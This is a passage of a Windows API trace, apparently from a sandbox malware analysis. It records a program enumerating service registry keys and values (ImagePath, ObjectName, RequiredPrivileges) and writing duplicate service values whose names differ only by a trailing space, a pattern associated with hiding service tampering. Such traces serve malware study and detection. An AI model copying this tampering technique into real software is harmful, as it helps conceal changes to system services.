dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0239.151] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0239.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0239.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0239.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0239.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0239.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0239.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.154] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0239.154] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0239.154] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0239.154] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.154] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.154] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0239.154] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0239.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.156] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x195) returned 0x0 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.156] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x195 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x195) returned 0x0 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0239.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0239.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.157] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0239.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0239.157] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0239.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0239.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0239.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0239.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0239.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0239.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0239.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0239.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0239.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0239.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0239.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0239.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0239.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0239.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0239.159] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0239.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0239.159] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4730) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46e8) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4658) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d358) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4610) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d488) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f45c8) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0239.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 